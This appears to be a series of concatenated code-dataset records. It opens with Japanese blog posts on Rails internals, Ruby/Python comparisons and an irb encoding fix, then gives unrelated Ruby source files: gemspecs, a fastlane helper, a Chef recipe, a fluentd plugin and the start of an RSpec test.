@blog = BlogBlog.new(@params[:blog])
if @blog.save
redirect_to :action => 'list'
else
render :action => 'new'
end
end
def edit
@title = 'EDIT BLOG'
begin
@blog = BlogBlog.find(
@params[:id],
:conditions => "is_active = true"
)
rescue ActiveRecord::RecordNotFound
redirect_to '/404.html'
end
end
def update
begin
@blog = BlogBlog.find(
@params[:id],
:conditions => "is_active = true"
)
rescue ActiveRecord::RecordNotFound
redirect_to '/404.html'
end
if @blog.update_attributes(@params[:blog])
redirect_to :action => 'show', :id => @blog.id
else
render :action => 'edit'
end
end
def delete
begin
BlogBlog.update(@params[:id], :is_active => false)
flash[:notice] = 'success delete blog.'
rescue ActiveRecord::RecordNotFound
flash[:notice] = 'cannot delete blog.'
end
redirect_to :action => 'list'
end
def comment
begin
@blog = BlogBlog.find(
@params[:id],
:conditions => "is_active = true"
)
rescue
redirect_to '/404.html'
end
@params[:comment]['blog_blog_id'] = @params[:id]
@comment = BlogComment.new(@params[:comment])
if @comment.save
redirect_to :action => 'show', :id => @params[:id]
else
render :action => 'show'
end
end
end
<~
今度は,このBLOGにタグ付けできるような処理(多対多:has_and_belongs_to_many)をやってみよう.とりあえず,書いてみてrubyに慣れてみよう.
追記: paramsは,@params ではなく params で受け取れるようです. また,beginもやらなくてもOKのようです.Railsが裏でやってくれているようです. 結局,バージョン遅れの汚いソースコードとなっておりました.
[RubyonRails] [Ruby]
2008/02/14 21:19 | Comments(0)
Rails acts_as_paranoid を覗く
--------------------------
前回のBLOG 続き,
では,init.rbを覗いてみる.(素人なのでー間違っている箇所が多いと思います.ツッコミいただければー幸いです.)
~>
# vendor/plugins/acts_as_paranoid/init.rb
class << ActiveRecord::Base
def belongs_to_with_deleted(association_id, options = {})
with_deleted = options.delete :with_deleted
returning belongs_to_without_deleted(association_id, options) do
if with_deleted
reflection = reflect_on_association(association_id)
association_accessor_methods(reflection, Caboose::Acts::BelongsToWithDeletedAssociation)
association_constructor_method(:build, reflection, Caboose::Acts::BelongsToWithDeletedAssociation)
association_constructor_method(:create, reflection, Caboose::Acts::BelongsToWithDeletedAssociation)
end
end
end
alias_method_chain :belongs_to, :deleted
end
ActiveRecord::Base.send :include, Caboose::Acts::Paranoid
<~
1行目からわからない! " class A < B " なら AクラスはBクラスを継承するということだが…. これなんなん!?
これは,クラスメソッドの追加でした.つまり,ActiveRecord::Base クラスに belongs_to_with_deleted メソッドを追加している.下記にちょこっと試してみた!
~>
$ irb
> class Base
> def hoge
> 'hoge'
> end
> end
> class << Base
> def hige
> 'hige'
> end
> end
>
> Base.hige # 追加されたクラスメソッドの実行
=> "hige"
> Base.hoge # インスタンスメソッドだから実行できない
NoMethodError: undefined method `hoge' for Base:Class
> obj = Base.new
> obj.hige # クラスメソッドだから実行できない
NoMethodError: undefined method `hige' for #<Base:0xb7e8738c>
> obj.hoge # インスタンスメソッドの実行
=> "hoge"
<~
とういうことで納得.次に「alias_method_chain :belongs_to, :deleted」これ何してんだろ…. これrubyじゃなくてーrailsのメソッドだった…. このファイルを覗くと答えが見れる.
~>
ruby/lib/ruby/gems/1.8/gems/activesupport-2.0.2/lib/active_support/core_ext/module/aliasing.rb`
<~
alias という言葉通りな感じですね. 試しに使ってみる.
~>
$ ./script/console
>> class Gly
>> def name
>> 'glycine'
>> end
>> end
>> class G < Gly
>> def name_with_short
>> name_without_short + '( GLY )'
>> end
>> alias_method_chain :name, :short
>> end
>> Gly.new.name
=> "glycine"
>> G.new.name
=> "glycine( GLY )"
<~
name_without_short は,拡張前のメソッドを呼び出せる. name_with_short は,拡張したメソッドを呼び出せる. この説明だとわかりにくいですよね.
この段階になっても,Model に acts_as_paranoid と書いただけでープラグインがうまく動くことは理解できない. 最後の行の「ActiveRecord::Base.send :include, Caboose::Acts::Paranoid」これですね.
ここは,(クラスメソッドが追加された)ActiveRecord::Base に Caboose::Acts::Paranoid モジュールを include している.
Paranoidモジュールは,vendor/plugins/acts_as_paranoid/lib/caboose/acts/paranoid.rb にあります. しかし,このモジュールが読み込まれてもー (ClassMethodsモジュール内の)acts_as_paranoid
メソッドは,Model から呼び出せない. と思ったらー(Paranoidモジュールの)self.included(base) ってーのが ClassMethodsモジュールをextend してるわ!ということで Model に acts_as_paranoid と書くとー Modelを
読み込んだとき に acts_as_paranoidメソッドが実行される.
メモがてらにモジュールのincludeを試してみる.
~>
$ irb
> module Paranoid
> def self.included(base)
> p self #=> Pranoid
> p base #=> Base
> base.extend ClassMethods
> end
>
> module ClassMethods
> def acts_as_paranoid
> 'ACTS_AS_PARANOID'
> end
> end
> end
>
> class Base
> include Paranoid
> end
>
> Base.acts_as_paranoid
=> "ACT_AS_PARANOID"
<~
これで何とかーModelにacts_as_paranoid と書くことだけでーModelにプラグインが反映されることが理解. いやー疲れた.やっぱ言語勉強しないとね.今回もー toshi78 さんにも協力してもらっちゃいました.
結局,このプラグインを全部解読してませんが,色々と疑問. なんで,こんなにモジュールがネストされているんだろ? また,ActiveRecord::Baseにクラスメソッドを最初に追加したんだろ? だってーこの init.rb は Rails がロードされたときに読み込まれる.だもんでー
論理削除を必要としないModelにまでー不必要なクラスメソッドが追加されちゃいません?パフォーマンス悪くなっちゃうんじゃない? 素人の俺には「ActiveRecord::Base.send :include,
Caboose::Acts::Paranoid」の中でーうまく「belongs_to_with_deleted」クラスメソッドを追加する処理をすればいいのではないのかなぁ〜.
と,素人の考えが色々と浮かぶ….
[RubyonRails] [Ruby]
2008/02/19 01:16 | Comments(0)
メモ:Python Ruby
--------------
PythonでいうこれをRubyでやろうとしたらー探してしまったのでメモっとく(実は前にやっているのに忘れたからメモる!)
~>
In [10]: def Hoge(val):
....: def Hige(val2):
....: print val
....: print val2
....: return Hige
....:
In [11]: Hoge('HOGE')('HIGE')
HOGE
HIGE
<~
Rubyでは,
~>
>> def Hoge(val)
>> return Proc.new do |val2|
>> p val
>> p val2
>> end
>> end
=> nil
>> Hoge('HOGE').call('HIGE')
"HOGE"
"HIGE"
<~
でいいのかな!? どちらかと言うとーPythonの方がちょっと変な気もしなくもないかも!?
[Ruby] [Python]
2008/04/21 20:47 | Comments(0)
CSV Writer Ruby vs Python
-------------------------
仕事でログをCSVに書き出す(@ruby)という処理をするということで,ちょいとググっていたらーPythonの方が早いとあったので遊びで簡単10万行を書き出しするタイムを測定した.
■ Ruby csv (Ruby標準CSV)
~>
# csv_writer.rb
#!/usr/bin/ruby
require 'csv'
f = File.open('CSV.csv', 'a')
CSV::Writer.generate(f) do |csv|
100000.times do |i|
csv << [i, 'hoge', 'hige', 'hage', 'page', 'jige']
end
end
f.close
<~
■ Ruby fastercsv (プラグイン gem install fastercsvによりインストール)
~>
# fastercsv_writer.rb
#!/usr/bin/ruby
require 'rubygems'
require 'fastercsv'
FasterCSV.open('FasterCSV.csv', 'a') do |csv|
100000.times do |i|
csv << [i, 'hoge', 'hige', 'hage', 'page', 'jige']
end
end
<~
■ Python csv (標準)
~>
# csv_writer.py
#!/opt/local/bin/python
import csv
f = file('PyCSV.csv', 'a')
writer = csv.writer(f)
for i in range(0, 100000):
writer.writerow([i, 'hoge', 'hige', 'hage', 'page', 'jige'])
<~
さて,これらのスクリプトを実行してみる.
~>
$ time ./csv_writer.rb
real 0m3.325s
user 0m3.248s
sys 0m0.043s
$ time ./fastercsv_writer.rb
real 0m2.522s
user 0m2.440s
sys 0m0.042s
$ time ./csv_writer.py
real 0m0.548s
user 0m0.480s
sys 0m0.034s
<~
お!Python ダントツではや!!なんかうれしい☆ fastercsvは思った以上な早さではなかったなぁ〜rubygemをrequireしているから!?
※ 適当にやってみたので,rubyもより早い記述があるかもしれません.
[Ruby] [Python]
2008/05/02 12:06 | Comments(0)
Hits:5 ... 1
Copyright (c) 2008 end.appspot.com Produce by ENDLESS.
{Hatena::}{Diary}]>
日記検索
* 最新の日記
* 記事一覧
* ログイン
* 無料ブログ開設
雑用系
===
1990 | 01 |
2006 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 |
2007 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 |
2008 | 08 |
2009 | 04 |
<[web] これは痛い | [firefox][dev][programming] こ...>
2006-09-14 Thu
--------------
■[mac][shell][ruby] irb + refe の文字化けと格闘してみた
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ココを見て、これはやっとかないと! と思って早速 .irbrc 弄って同じ事してみたんですが、またコレ文字化け。つか、文字化け以前に日本語部分だけ何も表示されない...。OSX の UTF-8 環境ってこういうところで不遇だよなぁ、と思いながらとりあえず色々と調べてみました。
で、/opt/local/lib/ruby/gems/1.8/gems/refe-0.8.0.3/lib/refe/searcher.rb を弄ればよさ気なのがわかったので、恒例になってきた感のあるインチキ huck*1 で、ソース冒頭の
~>
def adjust_encoding( str )
if shift_jis_platform?
NKF.nkf('-Es', str)
else
str
end
end
<~
この部分を
~>
def adjust_encoding( str )
NKF.nkf('-w', str)
# if shift_jis_platform?
# NKF.nkf('-Es', str)
# else
# str
# end
end
<~
と修正。これで日本語のドキュメントをサクサク表示出来るようになりました。めっさ便利!!!!
{f:id:nagaton:20060915013127p:image}
...本当にいないとは思うけど、同じ事をする場合には自己責任でお願いします。Ruby は syntax を理解している程度でしかないので。
追記
""
なんかパスが間違ってたので修正。
↑は DarwinPorts で Ruby, RubyGems で refe をインスコしたときのパスです。
つか、これって .irbrc 弄るだけでどうにかならないのかな。無理かな。
Permalink | コメント(0) | トラックバック(0) | 00:20 { irb + refe の文字化けと格闘してみた - 雑用系 を含むブックマーク} {はてなブックマーク - irb + refe の文字化けと格闘してみた - 雑用系 }{ irb + refe の文字化けと格闘してみた - 雑用系 のブックマークコメント}
*1:hack と書くのもおこがましい
コメントを書く
{ゲスト} ]>
{IMAGE}]>
{IMAGE}]>
--- Click to edit the text area ------------------------------------------------------------------------------------------------------------ {{{
}}} --------------------------------------------------------------------------------------------------------------------------------------------
{IMAGE} ]>
投稿
トラックバック - http://d.hatena.ne.jp/nagaton/20060914/1158247239
<[web] これは痛い | [firefox][dev][programming] こ...>
アーカイブ
* [javascript] Array#join
* [javascript][safari] 選択範囲に含まれるリンクを全て開いてみる / もしくはSafariでキーワード検索した後のアレ
* [misc]はてなダイアリーに印刷ボタンがあったらいいのに
* [mac][osx][shell] OSX 10.5 で zsh とか screen とか Leopard 編的に
* [osx] とりあえず Safari で GreaseKit(旧Creammonkey)使えるようにしてみたけど...
* [osx][shell] 特定のプロセスが使ってるポートやらファイルやらの一覧
* [misc]デザイン変えた
* [mac][osx] Mail.app で ISO-2022-JP なメールを送るテスト
* [misc] また失敗
* ■
最近のコメント
* 2006-08-20 nyakki
* 2007-11-05 nagaton
* 2007-11-05 Larme
* 2007-10-27 nagaton
* 2007-10-27 AG
* 2007-10-27 nagaton
* 2007-10-27 kzys
* 2007-07-03 nagaton
* 2007-07-03 AG
* 2007-05-10 nagaton
プロフィール
nagaton {このページをアンテナに追加} {RSSフィード}
あとで書く
最近言及したキーワード
* 2009-04-07
* ASCII
* Command
* Creammonkey
* DNS
* IE
* IE7
* IE8
* Leopard
* MacPorts
* PDF
* Safari
* String
* TCP
* UDP
* WebKit
* [mac]
* grep
* print
* root
* screen
* zsh
* ><
* はてなダイアリー
* アイデア
* アンカー
* インストール
* エンジン
* エントリ
* キーワード
{counter}
| 19.254569 | 173 | 0.600108 |
1de297e88f6fb06abe4ff700133466921958fdb3 | 345 | require 'fastlane_core/ui/ui'
require 'java-properties'
module Fastlane
UI = FastlaneCore::UI unless Fastlane.const_defined?("UI")
module Helper
class GradlePropertiesHelper
def self.load_property(path, key)
properties = JavaProperties.load(path)
value = properties[key]
value
end
end
end
end
| 20.294118 | 60 | 0.686957 |
e9eccce1919e4f81253fef7af51dc8e7e66118ed | 994 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
Gem::Specification.new do |spec|
spec.name = "jcdecaux-client"
spec.version = "0.0.1"
spec.authors = ["eTnDev"]
spec.email = ["[email protected]"]
spec.description = %q{This Gem provides a Ruby API Wrapper for the JCDecaux self-service bicycles open data platform}
spec.summary = %q{A Ruby API Wrapper for the JCDecaux self-service bicycles open data platform}
spec.homepage = "https://github.com/eTnDev/jcdecaux-client"
spec.license = "MIT"
spec.files = `git ls-files`.split($/)
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ["lib"]
spec.add_development_dependency "bundler", "~> 1.3"
spec.add_development_dependency "rake"
spec.add_development_dependency "rspec"
end
| 41.416667 | 121 | 0.672032 |
bbd10fc28b3f1039e7c14d053cfd56c6c278128d | 662 | #
# Cookbook Name:: openswan
# Recipe:: default
#
# Copyright 2013, Wanelo, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
include_recipe 'openswan::l2tp'
| 31.52381 | 74 | 0.750755 |
01857b6bfe6744d3671f787cb513c125c2b40707 | 5,556 | # frozen_string_literal: true
#
# Copyright 2019- TODO: Write your name
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'fluent/plugin/output'
module Fluent
# plugin
module Plugin
# fluentd output plugin
class ScenarioManagerOutput < Fluent::Plugin::Output
Fluent::Plugin.register_output('scenario_manager', self)
helpers :event_emitter
DEFAULT_STORAGE_TYPE = 'local'
PATTERN_MAX_NUM = 40
@@executing_scenario = ''
config_param(
:scenario_manage_mode,
:bool,
default: true,
desc: 'false: update storage and emit record only.'
)
config_param(
:tag,
:string,
default: nil
)
config_param(
:if, :string, default: nil, desc: 'first scenario manage rule.'
)
(1..PATTERN_MAX_NUM).each do |i|
config_param(
('elsif' + i.to_s).to_sym,
:string,
default: nil,
desc: 'Specify tag(not necessary)'
)
end
(1..PATTERN_MAX_NUM).each do |i|
config_param(
"scenario#{i}".to_sym,
:string,
default: nil,
desc: 'Scenario defines'
)
end
def configure(conf)
super
# シナリオパラメーターを取得
@scenarios = []
conf.elements.select { |element| element.name.match(/^scenario\d\d?$/) }
.each do |param|
scenario = {}
param.each_pair do |key, value|
scenario.merge!(key => convert_value(value))
end
@scenarios.push(scenario)
end
# えらーならraiseする
valid_conf?(conf)
return unless @scenario_manage_mode
# シナリオルールの取得
@rules = []
@executes = []
rule, execute = separate_rule_and_exec(conf['if'])
@rules.push(rule)
@executes.push(execute)
(1..PATTERN_MAX_NUM).each do |i|
next unless conf["elsif#{i}"]
rule, execute = separate_rule_and_exec(conf["elsif#{i}"])
@rules.push(rule)
@executes.push(execute)
end
end
def start
super
end
def process(tag, es)
es.each do |time, record|
# output events to ...
unless @scenario_manage_mode
@@executing_scenario = record['label']
# TODO: actionタグを自由に命名できるようにする
router.emit("serialized_action", time, record)
break
end
# scenario check
execute_idx = scenario_detector(record)
next if execute_idx.nil?
# execute scenario
# マッチしたシナリオを実行する(emitする)
router.emit(@tag || 'detected_scenario', time, generate_record_for_emit(get_scenario(@executes[execute_idx]), record))
end
end
private
BUILTIN_CONFIGURATIONS = %w[@id @type @label scenario_manage_mode tag if].freeze
def valid_conf?(conf)
# manage_modeじゃなかったら何もチェックしない
return true unless @scenario_manage_mode
# ここで、BUILTIN_CONFIGURATIONS に入っていないものがあった場合はerrorをraise
elsif_cnt = 0
conf.each_pair do |k, v|
elsif_cnt += 1 if k.match(/^elsif\d\d?$/)
next if BUILTIN_CONFIGURATIONS.include?(k) || k.match(/^elsif\d\d?$/)
raise(Fluent::ConfigError, 'out_scenario_manager: some weird config is set {' + k.to_s + ':' + v.to_s + '}')
end
raise Fluent::ConfigError, 'out_scenario_manager: "if" directive is required' if @if.nil?
raise Fluent::ConfigError, 'out_scenario_manager: "scenario" define is ruquired at least 1' if @scenarios.size <= 0
end
# ruleを調べて、マッチしたらそのindexを返す。
# すべてマッチしなかったらnilを返す
def scenario_detector(record) # rubocop:disable all
@rules.each_with_index do |rule, idx|
return idx if instance_eval(rule)
end
nil
end
def executing_scenario
@@executing_scenario
end
def separate_rule_and_exec(rule)
separated_str = /(.+*)( then )(.+*)/.match(rule)
[separated_str[1], separated_str[3]]
rescue StandardError
raise Fluent::ConfigError, 'out_scenario_manager: scenario rule should contain ~ then ~ .'
end
def get_scenario(execute)
execute_scenario_label = /(execute_scenario )(.+*)/.match(execute)[2]
@scenarios.each_with_index do |scenario, _idx|
return scenario if scenario['label'] == execute_scenario_label
end
return nil
end
def convert_value(value)
# Booleanがチェック
return true if value == 'true'
return false if value == 'false'
# 数値データなら数値で返す
return value.to_i if value.to_i.to_s == value.to_s
return value.to_f if value.to_f.to_s == value.to_s
value
end
# value は上記のconvert_Valueを使用している前提.
def generate_record_for_emit(value, record)
return value.map{ |k, v| [k, v.is_a?(String) && v.start_with?('${') && v.end_with?('}') ? instance_eval(v[2..-2]) : v] }.to_h
end
end
end
end
| 29.242105 | 134 | 0.603672 |
e916c426b3d5ae8a7fcfd2eeabf272cac37afe51 | 1,022 | # encoding: UTF-8
# frozen_string_literal: true
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'weather_parser/version'
Gem::Specification.new do |spec|
spec.name = 'weather_parser'
spec.version = WeatherParser::VERSION
spec.authors = ['Developer']
spec.email = ['[email protected]']
spec.summary = 'Test challenge'
spec.description = 'This is a test challenge'
spec.homepage = 'https://developer.website.com'
spec.license = 'MIT'
spec.files = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
spec.bindir = 'exe'
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ['lib']
spec.add_development_dependency 'bundler', '~> 1.12'
spec.add_development_dependency 'rake', '~> 10.0'
spec.add_development_dependency 'rspec', '~> 3.0'
spec.add_development_dependency 'simplecov', '~> 0.11'
end
| 35.241379 | 104 | 0.651663 |
edcb597281ddbd783e66b5ad7a810bec51e04e11 | 2,639 | # frozen_string_literal: true
lib = File.expand_path('lib', __dir__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
# Maintain your gem's version:
require 'curator/version'
# Describe your gem and declare its dependencies:
Gem::Specification.new do |spec|
spec.name = 'curator'
spec.version = Curator::VERSION
spec.authors = ['bbarberBPL']
spec.email = ['[email protected]']
spec.homepage = 'https://github.com/boston-library/curator'
spec.summary = 'Summary of Curator.'
spec.description = 'Description of Curator.'
spec.license = 'MIT'
spec.required_ruby_version = '>= 2.6'
# Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
# to allow pushing to a single host or delete this section to allow pushing to any host.
if spec.respond_to?(:metadata)
spec.metadata['allowed_push_host'] = "TODO: Set to 'http://mygemserver.com'"
else
raise 'RubyGems 2.0 or newer is required to protect against ' \
'public gem pushes.'
end
spec.files = Dir['{app,config,db,lib}/**/*', 'MIT-LICENSE', 'Rakefile', 'README.md']
spec.add_dependency 'aasm', '~> 5.2' # Acts as a state machine. Useful for tracking states of objects and triggering call backs between state trasnistion
spec.add_dependency 'activerecord-postgres_enum', '~> 1.7' # For using defined postgres enum types
spec.add_dependency 'acts_as_list', '~> 1.0'
spec.add_dependency 'addressable', '>= 2.8.0'
spec.add_dependency 'after_commit_everywhere', '~> 1.1' # Required for using aasm with active record
spec.add_dependency 'attr_json', '~> 1.3'
spec.add_dependency 'concurrent-ruby-ext', '~> 1.1'
spec.add_dependency 'connection_pool', '~> 2.2'
spec.add_dependency 'down', '~> 5.2'
spec.add_dependency 'htmlentities', '~> 4.3' # TODO: Look into replacing this since the last released in 2014. I recommend turning this into its own parser class.
spec.add_dependency 'http', '~> 5.0'
spec.add_dependency 'mime-types', '~> 3.3'
spec.add_dependency 'oj', '~> 3.13'
spec.add_dependency 'ox', '~> 2.14'
spec.add_dependency 'paper_trail', '~> 11.1'
spec.add_dependency 'paper_trail-association_tracking', '~> 2.1'
spec.add_dependency 'rails', '~> 6.1.4', '< 6.2'
spec.add_dependency 'rsolr', '~> 2.3'
spec.add_dependency 'traject', '~> 3.6'
spec.add_development_dependency 'image_processing', '~> 1.12'
spec.add_development_dependency 'mini_magick', '~> 4.11'
spec.add_development_dependency 'pg', '~> 1.2'
spec.add_development_dependency 'redis', '~> 4.5'
spec.add_development_dependency 'solr_wrapper', '~> 3.1'
end
| 44.728814 | 164 | 0.700265 |
339bba89a9e44e82f134b682a60b65d41feefc3d | 316 | require 'rails_helper'
RSpec.describe AdSizesController, type: :routing do
describe 'routing' do
it 'routes to #index' do
expect(get: '/ad_sizes').to route_to('ad_sizes#index')
end
it 'routes to #show' do
expect(get: '/ad_sizes/1').to route_to('ad_sizes#show', id: '1')
end
end
end
| 22.571429 | 70 | 0.655063 |
ffa1e6e9af3e80dee037e0943072c7eba34d724d | 489 | #!/usr/bin/env ruby
require 'drb'
uri = ARGV.shift || "druby://localhost:9300"
DRb.start_service
db = DRbObject.new(nil, uri)
db['foo'] = {:zap => 1}
db['bar'] = "BAR"
p db['foo']
p db['bar']
db.edit 'foo' do |foo|
foo[:zap] = 2 # This has no effect because it is operating on a local copy.
end
p db['foo']
db.replace 'foo' do |foo|
foo[:zap] = 2 # This works because we are sending back a new copy of foo.
foo # remember to return the object from the block
end
p db['foo']
| 17.464286 | 77 | 0.640082 |
916efbca394c63cde9c501991b6576ca562212cc | 162 | module Runcible
module Extensions
class DockerTag < Runcible::Extensions::Unit
def self.content_type
'docker_tag'
end
end
end
end
| 16.2 | 48 | 0.660494 |
d548066206287209d83a44f5bfc9f857601ff9ee | 352 | # Usage (from the repo root):
# env FLIPPER_CLOUD_TOKEN=<token> bundle exec ruby examples/cloud/basic.rb
require 'bundler/setup'
require 'flipper/cloud'
Flipper[:stats].enable
if Flipper[:stats].enabled?
puts 'Enabled!'
else
puts 'Disabled!'
end
Flipper[:stats].disable
if Flipper[:stats].enabled?
puts 'Enabled!'
else
puts 'Disabled!'
end
| 16.761905 | 74 | 0.732955 |
ffdc3f63aab51423dda5994021c30547c95301b4 | 5,051 | #
# Be sure to run `pod spec lint XMGTestThree.podspec' to ensure this is a
# valid spec and to remove all comments including this before submitting the spec.
#
# To learn more about Podspec attributes see http://docs.cocoapods.org/specification.html
# To see working Podspecs in the CocoaPods repo see https://github.com/CocoaPods/Specs/
#
Pod::Spec.new do |s|
# ――― Spec Metadata ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# These will help people to find your library, and whilst it
# can feel like a chore to fill in it's definitely to your advantage. The
# summary should be tweet-length, and the description more in depth.
#
s.name = "XMGTestThree"
s.version = "0.1.0"
s.summary = "XMGTestThree.NIUBI"
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
"XMGTestThree.NIUBI XXXX"
DESC
s.homepage = "https://github.com/wangshunzi/XMGTestThree"
# s.screenshots = "www.example.com/screenshots_1.gif", "www.example.com/screenshots_2.gif"
# ――― Spec License ――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Licensing your code is important. See http://choosealicense.com for more info.
# CocoaPods will detect a license file if there is a named LICENSE*
# Popular ones are 'MIT', 'BSD' and 'Apache License, Version 2.0'.
#
s.license = "Apache License, Version 2.0"
# s.license = { :type => "MIT", :file => "FILE_LICENSE" }
# ――― Author Metadata ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Specify the authors of the library, with email addresses. Email addresses
# of the authors are extracted from the SCM log. E.g. $ git log. CocoaPods also
# accepts just a name if you'd rather not provide an email address.
#
# Specify a social_media_url where others can refer to, for example a twitter
# profile URL.
#
s.author = { "王大顺" => "[email protected]" }
# Or just: s.author = ""
# s.authors = { "" => "" }
# s.social_media_url = "http://twitter.com/"
# ――― Platform Specifics ――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# If this Pod runs only on iOS or OS X, then specify the platform and
# the deployment target. You can optionally include the target after the platform.
#
# s.platform = :ios
# s.platform = :ios, "5.0"
# When using multiple platforms
# s.ios.deployment_target = "5.0"
# s.osx.deployment_target = "10.7"
# s.watchos.deployment_target = "2.0"
# s.tvos.deployment_target = "9.0"
# ――― Source Location ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Specify the location from where the source should be retrieved.
# Supports git, hg, bzr, svn and HTTP.
#
s.source = { :git => "https://github.com/wangshunzi/XMGTestThree.git", :tag => "#{s.version}" }
# ――― Source Code ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# CocoaPods is smart about how it includes source code. For source files
# giving a folder will include any swift, h, m, mm, c & cpp files.
# For header files it will include any header in the folder.
# Not including the public_header_files will make all headers public.
#
s.source_files = "Classes", "testXXX/Classes/**/*.{h,m}"
#s.exclude_files = "Classes/Exclude"
# s.public_header_files = "Classes/**/*.h"
# ――― Resources ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# A list of resources included with the Pod. These are copied into the
# target bundle with a build phase script. Anything else will be cleaned.
# You can preserve files from being cleaned, please don't preserve
# non-essential files like tests, examples and documentation.
#
# s.resource = "icon.png"
# s.resources = "Resources/*.png"
# s.preserve_paths = "FilesToSave", "MoreFilesToSave"
# ――― Project Linking ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Link your library with frameworks, or libraries. Libraries do not include
# the lib prefix of their name.
#
# s.framework = "SomeFramework"
# s.frameworks = "SomeFramework", "AnotherFramework"
# s.library = "iconv"
# s.libraries = "iconv", "xml2"
# ――― Project Settings ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# If your library depends on compiler flags you can set them in the xcconfig hash
# where they will only apply to your library. If you depend on other Podspecs
# you can include multiple dependencies to ensure it works.
s.requires_arc = true
# s.xcconfig = { "HEADER_SEARCH_PATHS" => "$(SDKROOT)/usr/include/libxml2" }
# s.dependency "JSONKit", "~> 1.4"
end
| 36.338129 | 103 | 0.589982 |
ffb914f7966056c14e5bf9429a5462e8b89164fb | 420 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe Slack::RealTime::Client, vcr: { cassette_name: 'web/rtm_start' } do
include_context 'connected client'
describe '#ping' do
before do
allow(client).to receive(:next_id).and_return(42)
end
it 'sends message' do
expect(socket).to receive(:send_data).with({ type: 'ping', id: 42 }.to_json)
client.ping
end
end
end
| 23.333333 | 82 | 0.683333 |
d5ad4672fb19ea7f79b4118aab035d180080dc09 | 1,574 | class Freetype < Formula
desc "Software library to render fonts"
homepage "https://www.freetype.org/"
url "https://downloads.sf.net/project/freetype/freetype2/2.7/freetype-2.7.tar.bz2"
mirror "https://download.savannah.gnu.org/releases/freetype/freetype-2.7.tar.bz2"
sha256 "d6a451f5b754857d2aa3964fd4473f8bc5c64e879b24516d780fb26bec7f7d48"
bottle do
cellar :any
sha256 "6cdebad1d3a4e6bdda41235dc69e77770ab98570d003af074f9bf2d6656d3e19" => :sierra
sha256 "0c98beda51c7d5a42f317598a2fbb65391278f6bb72f038512033392a681b25e" => :el_capitan
sha256 "f29056e7f47435120efd7fedfce5483e083dcf52fa587569a99d2afba3fb11c2" => :yosemite
sha256 "470c71da601ed6b1fd95445492040e5a56f30135d1602d3617f4da89539f1b6b" => :mavericks
end
keg_only :provided_pre_mountain_lion
option :universal
option "without-subpixel", "Disable sub-pixel rendering (a.k.a. LCD rendering, or ClearType)"
depends_on "libpng"
def install
if build.with? "subpixel"
inreplace "include/freetype/config/ftoption.h",
"/* #define FT_CONFIG_OPTION_SUBPIXEL_RENDERING */",
"#define FT_CONFIG_OPTION_SUBPIXEL_RENDERING"
end
ENV.universal_binary if build.universal?
system "./configure", "--prefix=#{prefix}", "--without-harfbuzz"
system "make"
system "make", "install"
inreplace [bin/"freetype-config", lib/"pkgconfig/freetype2.pc"],
prefix, opt_prefix
end
test do
system bin/"freetype-config", "--cflags", "--libs", "--ftversion",
"--exec-prefix", "--prefix"
end
end
| 35.772727 | 95 | 0.72554 |
1d70f9a3ccdb252b98d1095a2dfdc193130cdc5b | 5,420 | # frozen_string_literal: true
# rubocop:disable Lint/MissingCopEnableDirective
require 'spec_helper'
RSpec.describe Gurke::Reporters::CompactReporter do
subject(:out) do
reporter = described_class.new(StringIO.new)
reporter.send(*action)
reporter.io.string
end
let(:feature) { instance_double('Gurke::Feature') }
let(:scenario) { instance_double('Gurke::Scenario') }
let(:step) { instance_double('Gurke::Step') }
describe '#before_feature' do
let(:action) { [:before_feature, feature] }
it { is_expected.to eq '' }
end
describe '#start_background' do
let(:action) { [:start_background, feature] }
it { is_expected.to eq '' }
end
describe '#before_scenario' do
let(:action) { [:before_scenario, scenario] }
it { is_expected.to eq '' }
end
describe '#before_step' do
let(:action) { [:before_step, step] }
it { is_expected.to eq '' }
end
describe '#after_step' do
let(:action) { [:after_step, result, scenario] }
let(:result) { instance_double('Gurke::Step::StepResult') }
let(:backgrounds) { [] }
let(:exception) { nil }
let(:steps) do
[step]
end
before do
allow(result).to receive(:step).and_return(step)
allow(result).to receive(:scenario).and_return(scenario)
